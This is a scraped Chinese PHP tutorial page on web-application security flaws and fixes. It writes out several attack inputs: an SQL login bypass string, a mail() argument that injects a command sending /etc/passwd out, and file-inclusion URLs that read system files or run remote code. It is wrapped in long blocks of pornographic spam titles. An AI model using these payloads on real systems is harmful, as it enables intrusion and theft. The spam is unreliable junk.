一起草最新网址_日韩一区二区麻豆国产_91视频婷婷_日本一区二区视频在线_日韩激情一区二区三区_国产另类第一区_成人免费在线播放视频_亚洲永久精品ww.7491进入_久久这里有精品视频_久久精品一级片_日韩av在线网页_波多野结衣不卡视频

PHP網(wǎng)站開發(fā)過程的安全知識_PHP教程

編輯Tag賺U幣
教程Tag:暫無Tag,歡迎添加,賺取U幣!

推薦:學(xué)習(xí)動態(tài)網(wǎng)頁制作PHP技術(shù)的正則表達(dá)式
正則表達(dá)式難于書寫、難于閱讀、難于維護(hù),經(jīng)常錯誤匹配意料不到的文本或者錯過了有效的文本,這些問題都是由正則表達(dá)式的表現(xiàn)和能力引起的。每個元字符(metacharacter)的能力和細(xì)微差別組合在一起,使得代碼不借助于智力技巧就無法解釋。 許多包含一定特性

1、古老的欺騙SQL語句

在默認(rèn)模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是打開magic_quotes_gpc=on。

這樣所有從GET/POST/Cookie來的變量的單引號(')、雙引號(")、反斜杠backslash(\)以及空字元NUL

(the null byte)都會被加上反斜杠,以使數(shù)據(jù)庫能夠正確查詢。

但是在php-4-RC2的時候引入了一個配置文件php.ini-optimized,這個優(yōu)化的php.ini卻是

magic_quotes_gpc=off的。某些網(wǎng)管看到optimized字樣也許就會把php.ini-optimized拷到

/usr/local/lib/php.ini,這時就比較危險。象比較簡單的驗證,假設(shè)沒有過濾必要的字符:

select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'

我們就可以在用戶框和密碼框輸入1‘ or 1='1通過驗證了。這是非常古董的方法了,這個語句會

替換成這樣:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

因為or 1='1'成立,所以通過了。

解決的辦法最好就是過濾所有不必要的字符,還有就是推薦對于從GET/POST/Cookie來的并且用在SQL

中的變量加一個自定義的函數(shù):

function gpc2sql($str) {

if(get_magic_quotes_gpc()==1)

return $str;

else

return addslashes($str);

}

主要是為了你的程序能安全移植在各種系統(tǒng)里。

2、mail函數(shù)的第五個參數(shù)

在php-4.0.5的時候,mail函數(shù)引入了第五個參數(shù),用來設(shè)置在實際發(fā)送郵件的時候增加額外的命令行參數(shù),但是沒有很好的檢查特殊SHELL命令字符,所以出現(xiàn)執(zhí)行命令的大問題。就像手冊里的例子:

mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");

這個是存在問題的,如果$SERVER_NAME=;mail mb5u@mb5u.com < /etc/passwd就能把機(jī)器的密碼發(fā)送到我的信箱了。

這里提醒一下,php手冊里還有好幾個例子存在安全問題的,大家實際使用的時候不要照搬,它只是演示函數(shù)的基本功能,理解了就可以了。

對于mail函數(shù)的這個問題,最簡單的我們就不用這個第五個參數(shù),要使用就過濾非法的字符如(;),還有就是修改php源碼包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

extra_cmd=NULL

然后重新編譯。

3、UNIX版的require, include函數(shù)

win版本的require和include函數(shù)是不支持HTTP和FTP遠(yuǎn)程文件包含的,而UNIX版本默認(rèn)都是支持遠(yuǎn)程包含文件。

require和include不管你是什么擴(kuò)展名的,把你包含進(jìn)來就作為程序的一部分來執(zhí)行。

我們在寫程序的時候為了程序的模塊化,以及程序的可移植性,不可避免的用到很多require或include函數(shù),而且有時用變量作為參數(shù),比如:include("$something"); 如果這時用戶能控制$something參數(shù),而這個參數(shù)又沒有過濾,那就慘拉。

首先可以看任何web用戶有讀權(quán)限的文件,假設(shè)這個程序叫http://victim/test.php,這樣我們就可以用如下

url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。

另外可以利用其遠(yuǎn)程文件包含的功能執(zhí)行命令。比如我在www.AAA.org下建立一個文件test.php,內(nèi)容是:

 

http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname這種方式運行任

意的命令。

phpMyAdmin也出現(xiàn)了這個問題,我們可以用它看任何我們想看的文件。但是它在include前,先用file_exist函數(shù)判斷文件是否存在,而這個file_exist是不支持遠(yuǎn)程文件的,所以上面第二種辦法無法直接使用。但是我們可以利用apache的日志功能,請求一個帶php代碼的url,這樣,something指定為apache的日志也可以執(zhí)行命令了,但是apache的日志通常比較大,有太多雜亂信息。

http://www.securereality.com.au/sradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地的執(zhí)行命令的腳本上傳,會在服務(wù)器的文件上傳臨時目錄里產(chǎn)生php8Ta02I之類的文件名,由于這時文件是存在的,所以能通過file_exist函數(shù),從而執(zhí)行上傳文件里的執(zhí)行腳本。

所以對于include, require函數(shù)的使用一定要小心,特別是以包含的文件以參數(shù)指定這種方式,參數(shù)絕對不能讓用戶來控制。還有通過修改php.ini文件去掉遠(yuǎn)程文件包含這個功能。這個在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off來關(guān)閉。

4、disable_function

在php-4.0.1,php.ini里引入了一項功能disable_functions , 這個功能比較有用,可以用它禁止一些函數(shù)。

比如在php.ini里加上disable_functions = passthru exec system popen 那么在執(zhí)行這些函數(shù)的時候只會提示W(wǎng)arning: system() has been disabled for security reasons.唉,但是也不是沒有辦法執(zhí)行系統(tǒng)命令了。因為php采用了很多perl的特性,比如還可以用(`)來執(zhí)行命令:

 

$output = `ls -al`;

echo "

$output
";

 

?>

這個只有設(shè)成safe_mode才能避免,可是可惡的safe_mode實在是限制太多了,做其它事情也有些礙手礙腳。

5、file upload

php文件上傳的問題在文章http://www.zhaotila.cn/htmldata/2007-06-23/1182581230.html里已經(jīng)描述的很清楚了,這的確是個比較嚴(yán)重的問題,一般我們要上傳的文件也會放在web目錄,所以容易給攻擊者得到系統(tǒng)的一些web用戶能讀的文件。

幸虧在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù)。所以php-4.0.3以上的上傳文件的程序一定不要再用copy函數(shù)了,用move_uploaded_file代替,它會檢查是否是上傳的文件。如果是php-4.0.2及以下的,建議在copy前加一個函數(shù):

function is_uploaded_file($filename) {

if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {

$tmp_file = dirname(tempnam('', ''));

}

$tmp_file.='/'.basename($filename);

/* User might have trailing slash in php.ini... */

return (ereg_replace('/ ', '/', $tmp_file) == $filename);

}

這個漏洞在安全焦點呆了很久,只是在copy之前有很多驗證阿、判斷阿的語句,所以使之攻擊存在相當(dāng)?shù)碾y度。

還有,千萬不要以環(huán)境變量、Cookie變量、session變量等作為關(guān)系生死的判斷條件,因為這些變量太容易被偽造了。

呵呵,手頭事情比較多,其它慢慢想到了再加吧,也歡迎其他同志任意的添加修改之。

分享:單元測試對PHP代碼的檢查
測試驅(qū)動的開發(fā)和單元測試是確保代碼在經(jīng)過修改和重大調(diào)整之后依然能如我們期望的一樣工作的最新方法。在本文中,您將學(xué)習(xí)到如何在模塊、數(shù)據(jù)庫和用戶界面(UI)層對自己的 PHP 代碼進(jìn)行單元測試。 現(xiàn)在是凌晨 3 點。我們怎樣才能知道自己的代碼依然在工作呢?

來源:模板無憂//所屬分類:PHP教程/更新時間:2009-03-13
相關(guān)PHP教程
欧美第一黄网免费网站| www.成人精品| 欧美一级xxx| 成人午夜碰碰视频| 国产一二三在线视频| 国产精品久久久久久婷婷天堂 | 日韩一区二区三区久久| 国内精品视频在线播放| 欧美成人精品一区| 亚洲欧美国产另类| 在线不卡免费av| 亚洲日本青草视频在线怡红院| 欧美aaa在线| 亚洲精品一二三四五区| 亚洲成人a**址| 亚洲精品国产拍免费91在线| 欧美性色黄大片| 亚洲精品国产a久久久久久| 成人avav影音| 国内久久精品视频| av片免费播放| 东京热一区二区三区四区| 人妻精品久久久久中文| 无码人妻一区二区三区在线| 国产天堂在线播放| 久久精品国产sm调教网站演员| 日韩在线三区| 神马欧美一区二区| 男女污污的视频| 国产精品美女高潮无套| 青娱乐在线免费视频| 日韩av大片在线观看| 日本午夜在线观看| 老牛影视av老牛影视av| www.亚洲自拍| 一起操在线视频| 高清一区在线观看| 一区二区免费av| 亚洲欧美另类日本| 中文字幕在线有码| 麻豆疯狂做受xxxx高潮视频| 久久精品色妇熟妇丰满人妻| 懂色av蜜臀av粉嫩av永久| 国产精品传媒在线观看| 依依成人综合网| 无码人妻精品一区二区50| 久久国产视频一区| 奇米影视7777精品一区二区| 亚洲欧洲精品一区二区精品久久久| 欧美国产精品久久| 亚洲人吸女人奶水| 日韩精品一区二区三区在线播放 | 日韩高清在线不卡| 亚洲av成人精品日韩在线播放| 成人午夜免费福利| 日本不卡一二三区黄网| 亚洲一区免费观看| 色香蕉久久蜜桃| 欧美私人免费视频| 国内精品久久久久久久久| 国产精品激情自拍| 国产精品福利视频| 亚洲欧美丝袜| 30一40一50老女人毛片| 免费高清在线观看电视| 日韩精品成人一区二区三区| 一卡二卡三卡日韩欧美| 欧美色视频在线| 亚洲黄色有码视频| 99久久精品无码一区二区毛片 | 欧美日韩国产一二三| 欧美日韩美少妇| 欧美又大又硬又粗bbbbb| 91九色蝌蚪国产| 婷婷久久青草热一区二区| 给我免费观看片在线电影的| 国产精品99精品无码视| 国产伦一区二区| 国产有码在线观看| 精品一区二区久久久| av电影在线观看完整版一区二区 | 一级黄色片免费看| 亚洲色图欧洲色图| 久久久久国产视频| 亚洲va电影大全| 综合网五月天| 8x8x成人免费视频| 国产精品三区在线观看| 成人小视频免费在线观看| 日韩精品一区二区在线| 日本不卡在线观看| 在线观看免费黄网站| 国产视频手机在线观看| 欧美性猛xxx| 色阁综合伊人av| 亚洲bt天天射| 久久丫精品国产亚洲av不卡| 国产电影精品久久禁18| 日韩美女精品在线| 久久久久久久久爱| 亚洲va综合va国产va中文| 午夜在线视频观看| 亚洲国产精品99久久| 国产精品福利在线观看| 亚洲精品乱码久久久久久9色| 永久免费看黄网站| 蜜臀av性久久久久av蜜臀妖精 | 一区二区三区偷拍| 这里精品视频免费| 成人自拍性视频| 成人精品在线观看视频| 国产色综合视频| 欧美午夜视频网站| 欧美视频小说| 亚洲精品久久一区二区三区777 | 中文字幕一区二区三区人妻不卡| 国产高清精品久久久久| 不卡av日日日| 午夜一区二区三视频在线观看| 日本在线观看视频网站| 国产91综合网| 欧美一级片在线看| 97人人做人人爱| 少妇人妻大乳在线视频| 久久久久黄色片| 国产精品1024久久| 欧美理论电影在线观看| 久久久国内精品| 91视频综合网| 天天综合天天做天天综合| 国外成人在线直播| 91成人破解版| 亚洲精品菠萝久久久久久久| 国内精品视频免费| 在线视频免费观看一区| 亚洲欧洲精品一区二区精品久久久| 国产精品人成电影| 久久丫精品久久丫| 欧美精品久久天天躁| 欧美深夜福利视频| 欧美在线不卡区| 免费视频91蜜桃| 精品人伦一区二区三区蜜桃网站 | 艳母动漫在线免费观看| 日韩欧美综合视频| 红桃av永久久久| 国产卡一卡二在线| 超碰中文字幕在线| 91精品国产综合久久久蜜臀图片| 亚洲一区精品电影| 久久久久久久久久久久久久av| 欧美乱妇一区二区三区不卡视频| 精品一二三四五区| 一级淫片免费看| 日韩av网址在线| 国产高清免费在线| 日韩国产精品大片| 97国产精品视频人人做人人爱| 亚洲最大的黄色网| 欧美午夜精品久久久久久浪潮| 中文字幕一区二区三区乱码| 久久99久久精品| 国产精品免费视频久久久| 你懂的国产视频| 亚洲国产精品成人综合| 国产伦精品一区二区三区| 玖玖爱在线观看| 一本大道久久精品懂色aⅴ| 国产精品www在线观看| 成人一区二区在线观看| 99视频免费观看蜜桃视频| av加勒比在线| 国产综合在线视频| 国产尤物在线视频| www.xxxx欧美| www.污网站| 亚洲h在线观看| 好吊妞www.84com只有这里才有精品| 亚洲一级理论片| 欧美一区在线视频| 中文字幕一区二区人妻电影丶| 国产99精品国产| 国产精品初高中精品久久| 久久亚洲二区| 久久这里有精品| 国产一级片播放| 综合av色偷偷网| 国产无遮挡又黄又爽| 国产亚洲精品成人av久久ww| 国产又黄又猛又粗又爽的视频| 久久久夜色精品亚洲| 成人黄色在线播放| 九九视频在线免费观看| 亚洲人在线观看| 国产精品99精品无码视亚| 久久先锋资源网| 成人黄色生活片| 久久婷婷一区| 精品久久久久久一区| 国产很黄免费观看久久| 一区二区三区视频在线播放| 国产精品人人做人人爽人人添 | 欧美另类z0zxhd电影| 波多野结衣先锋影音| 精品网站999www| 中国特级黄色大片| 亚洲一区二区三区四区不卡| 另类小说色综合| 欧美午夜理伦三级在线观看| 一本加勒比北条麻妃| 亚洲精品国产综合久久| 日韩手机在线观看| 性亚洲最疯狂xxxx高清| 午夜一区在线观看| 亚洲激情图片| 亚洲综合在线五月| 欧美在线一级片| 中文字幕日韩高清| 精品人妻一区二区三区日产乱码| 成人在线观看网址| 91色在线porny| 牛人盗摄一区二区三区视频| 国产精品自拍电影| 99r国产精品视频| 不卡的av在线| 亚洲国产精品毛片av不卡在线| 欧美怡红院视频| 天天天天天天天天操| 68精品国产免费久久久久久婷婷| 在线观看精品国产| 国产精品看片资源| 国产成人自拍网| 熟女少妇精品一区二区| 精品av久久707| 国产中文字幕一区二区| 中文字幕在线看视频国产欧美| 国产成人精品一区二三区四区五区 | 国产大尺度在线观看| 性感美女久久精品| 美国一级片在线观看| 精品成人免费观看| 中文文字幕一区二区三三| 欧美日韩国产成人高清视频| 色婷婷视频在线| 91久久国产综合久久91精品网站| av一本久道久久综合久久鬼色| 激情黄色小视频| 亚洲人成电影网站色www| 国精产品乱码一区一区三区四区| 亚洲精品国产精品国自产观看| 色哟哟一区二区在线观看| 国产69精品久久久久久久久久 | 亚洲精品在线视频| 国产成人三级在线播放| 日本一道在线观看| 国产欧美日韩视频在线观看| 亚洲欧洲日本国产| 在线观看视频一区二区欧美日韩| 精品人妻在线视频| 高清视频欧美一级| 91一区一区三区| 日本一道本久久| 日韩av最新在线| 性xxxx视频播放免费| 九色porny91| 欧美另类极品videosbestfree| 国产成人在线免费| 国产精品边吃奶边做爽| 日本高清视频精品| 毛片一区二区三区| 亚洲欧洲日韩精品| 精品久久久三级丝袜| 国产真实夫妇交换视频| 久久99精品国产99久久| www.欧美色图| 少妇人妻好深好紧精品无码| 亚洲最大的网站| 午夜小视频在线播放| 国产精品igao| 欧美高清激情视频| 久久久久亚洲蜜桃| 妺妺窝人体色www在线下载| 日韩精品久久久毛片一区二区| 日韩精品专区在线影院重磅| 日本人妖一区二区| 日本69式三人交| 亚洲r级在线观看| 欧美四级电影网| 久久久久久黄| 欧美亚洲色图视频| 久久韩剧网电视剧| 青青草国产精品亚洲专区无| 一区二区三区人妻| 亚洲综合色av| 91精品免费在线| 国产福利精品一区二区| 青青草自拍偷拍| 亚洲精品中字| 成年人精品视频| 亚洲欧美日韩在线| av在线资源观看| 污视频在线观看免费网站| 一道本无吗dⅴd在线播放一区| 国产男男gay网站| 中国黄色片一级| 国产乱肥老妇国产一区二| 国产午夜精品在线观看| 亚洲毛片亚洲毛片亚洲毛片| 欧美国产日本视频| 欧美精品一区二区成人| 黑人精品无码一区二区三区AV| 亚洲天堂中文网| 中文字幕国产在线观看| 刘亦菲毛片一区二区三区| wwwav网站| 成人欧美一区二区三区1314| 国产亚洲欧美日韩美女| 精品视频在线观看一区| 亚洲高清精品视频| 欧美在线视频一二三| 国产精品麻豆免费版| 欧美精品亚洲精品| 欧美一区二区三区四区五区六区| 日韩美女免费观看| 9191久久久久久久久久久| 国产一区二区三区毛片| 91麻豆国产语对白在线观看| 人妻有码中文字幕| 色偷偷噜噜噜亚洲男人的天堂| 精品噜噜噜噜久久久久久久久试看 | 成人动漫一区二区| 欧美猛男gaygay网站| 国产精品私拍pans大尺度在线| 亚洲综合在线做性| 精品人妻人人做人人爽夜夜爽| 青青草在线观看视频| 国产精品青草综合久久久久99| 欧洲亚洲免费在线| 丰满少妇xbxb毛片日本| 毛片基地黄久久久久久天堂| 在线观看视频亚洲| 亚洲在线观看网站| 亚洲男人第一天堂| 日本福利一区二区| 99综合电影在线视频| 日韩免费高清视频| 国产成人成网站在线播放青青 | 国产99在线|中文| 中文字幕一区二区三区5566| 亚洲成人av免费看| 成人在线观看高清| 午夜福利一区二区三区| 亚洲在线视频免费观看| 中文字幕视频在线免费欧美日韩综合在线看 | 无码人妻一区二区三区在线视频| 亚洲av永久无码国产精品久久| 国产成人啪午夜精品网站男同| 精品亚洲男同gayvideo网站| 日本女人高潮视频| 一级免费在线观看| 欧美日韩国产综合新一区| 999日本视频| 国产一区二区三区影院| 久久久久成人黄色影片| 在线成人激情黄色| 漂亮人妻被中出中文字幕| 国产片高清在线观看| 日韩亚洲欧美视频| 欧美日韩精品免费看| 国产又粗又猛又爽又黄| 欧美性猛交 xxxx| 成人性生活免费看| 成人免费观看av| 久久精品aaaaaa毛片| 久久先锋影音| 91麻豆精品国产无毒不卡在线观看| 成人久久一区二区| 国产成人自拍网站| 久久高清免费视频| 欧洲中文字幕精品| 美女被啪啪一区二区| 成人免费a视频| 91网站最新网址| 欧美人在线观看| 亚洲精品mv在线观看| 麻豆精品在线看| 成人福利视频网| 亚洲精品午夜视频| 手机av在线免费| 久久精品人人| 亚洲精品久久久久中文字幕二区| 免费毛片一区二区三区久久久| 潮喷失禁大喷水aⅴ无码| 欧美激情一区二区三区| 国产成人精品久久久| 和岳每晚弄的高潮嗷嗷叫视频 | 国产系列第一页| 波多野结衣视频免费观看| 欧美日韩精品中文字幕| 精品毛片久久久久久| 国产麻豆成人传媒免费观看| 亚洲福中文字幕伊人影院| 国产日韩欧美在线观看| 亚洲av片不卡无码久久| 亚洲精品福利在线观看| 99久久国产精| 91成人在线精品| 亚洲国产无码精品| 日本韩国欧美三级| 欧美成人一区二区在线观看|